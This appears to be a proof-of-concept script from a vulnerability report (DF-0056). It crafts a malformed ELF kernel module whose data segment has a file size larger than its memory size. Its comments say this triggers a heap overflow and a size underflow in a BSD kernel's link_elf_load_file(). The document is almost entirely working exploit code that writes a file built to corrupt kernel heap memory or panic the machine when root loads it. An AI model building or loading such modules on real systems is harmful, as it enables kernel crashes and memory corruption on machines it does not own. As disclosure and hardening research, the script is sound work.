DF-0056 / craft_ko.py
#!/usr/bin/env python3 # DF-0056 PoC: craft a minimal ELF shared object (.ko) with a PT_LOAD segment # where p_filesz > p_memsz, triggering the heap overflow in # link_elf_load_file() (sys/kern/link_elf.c:541-563). # # mapsize (line 541-543) is derived from p_memsz: # base_vlimit = round_page(segs[1]->p_vaddr + segs[1]->p_memsz) # mapsize = base_vlimit - base_vaddr # ef->address = kmalloc(mapsize, ...) # too small # but vn_rdwr (line 554) writes p_filesz bytes -> heap overflow # then bzero(segbase + p_filesz, p_memsz - p_filesz) # size_t underflow -> huge # # Load as root: kldload ./df0056_overflow.ko -> kernel heap corruption / panic # # NOTE: this is root-only (sys_kldload requires SYSCAP_NOKLD). It is a # defense-in-depth / root->kernel hardening gap, NOT an unpriv->root privesc. import struct, sys # --- ELF64 constants --- ET_DYN = 3 EM_X86_64 = 62 PT_LOAD = 1 PT_DYNAMIC = 2 PF_R = 4; PF_W = 2; PF_X = 1 ELFCLASS64 = 2; ELFDATA2LSB = 1; EV_CURRENT = 1 EHDR_FMT = "<16sHHIQQQIHHHHHH" # e_ident(16), type, machine, version, entry, # phoff, shoff, flags, ehsize, phentsize, # phnum, shentsize, shnum, shstrndx EHDR_SIZE = 64 PHDR_FMT = "<IIQQQQQQ" # p_type, p_flags, p_offset, p_vaddr, p_paddr, # p_filesz, p_memsz, p_align PHDR_SIZE = 56 def le64(v): return struct.pack("<Q", v & 0xffffffffffffffff) def le32(v): return struct.pack("<I", v & 0xffffffff) def build(outpath): # Program headers: PT_LOAD (text), PT_LOAD (data, overflow), PT_DYNAMIC phoff = EHDR_SIZE phnum = 3 # file layout: header | 3 phdrs | text blob | data blob (filesz huge) | dyn text_off = phoff + phnum * PHDR_SIZE text_vaddr= 0x0 text_filesz = text_memsz = 0x1000 # one page, normal # segs[1] is the data segment: p_memsz TINY, p_filesz HUGE -> overflow. # The loader's vn_rdwr writes p_filesz bytes into a mapsize buffer sized # from p_memsz. We make p_filesz moderately larger than p_memsz so the # overflow is real but the read itself doesn't fault before the bzero. data_off = text_off + text_filesz data_vaddr = 0x2000 data_memsz = 0x100 # small -> small allocation data_filesz= 0x2000 # >> memsz -> heap overflow + bzero underflow # PT_DYNAMIC points to a tiny .dynamic at the end (1 DT_NULL entry). dyn_off = data_off + data_filesz dyn_vaddr = data_vaddr + data_filesz dyn_size = 16 # one Elf64_Dyn = 16 bytes (d_tag=0, d_val=0) e_ident = bytes([0x7f, ord('E'), ord('L'), ord('F'), ELFCLASS64, ELFDATA2LSB, EV_CURRENT, 0]) + b'\x00'*8 ehdr = struct.pack(EHDR_FMT, e_ident, ET_DYN, EM_X86_64, EV_CURRENT, 0, # e_entry phoff, # e_phoff 0, # e_shoff (no section headers) 0, # e_flags EHDR_SIZE, # e_ehsize PHDR_SIZE, # e_phentsize phnum, # e_phnum 0, 0, 0) # shentsize, shnum, shstrndx def phdr(typ, flags, off, vaddr, filesz, memsz, align=0x1000): return struct.pack(PHDR_FMT, typ, flags, off, vaddr, vaddr, filesz, memsz, align) ph_text = phdr(PT_LOAD, PF_R|PF_X, text_off, text_vaddr, text_filesz, text_memsz) ph_data = phdr(PT_LOAD, PF_R|PF_W, data_off, data_vaddr, data_filesz, data_memsz) ph_dyn = phdr(PT_DYNAMIC, PF_R|PF_W, dyn_off, dyn_vaddr, dyn_size, dyn_size) # file blobs text_blob = b'\xcc' * text_filesz # int3 filler data_blob = b'\x41' * data_filesz # attacker-controlled overflow bytes dyn_blob = le64(0) + le64(0) # DT_NULL blob = ehdr + ph_text + ph_data + ph_dyn + text_blob + data_blob + dyn_blob with open(outpath, "wb") as f: f.write(blob) print("[+] wrote %s (%d bytes)" % (outpath, len(blob))) print(" segs[1]: p_vaddr=0x%x p_memsz=0x%x p_filesz=0x%x " "(filesz>memsz -> heap overflow + bzero underflow)" % (data_vaddr, data_memsz, data_filesz)) if __name__ == "__main__": build(sys.argv[1] if len(sys.argv) > 1 else "df0056_overflow.ko") |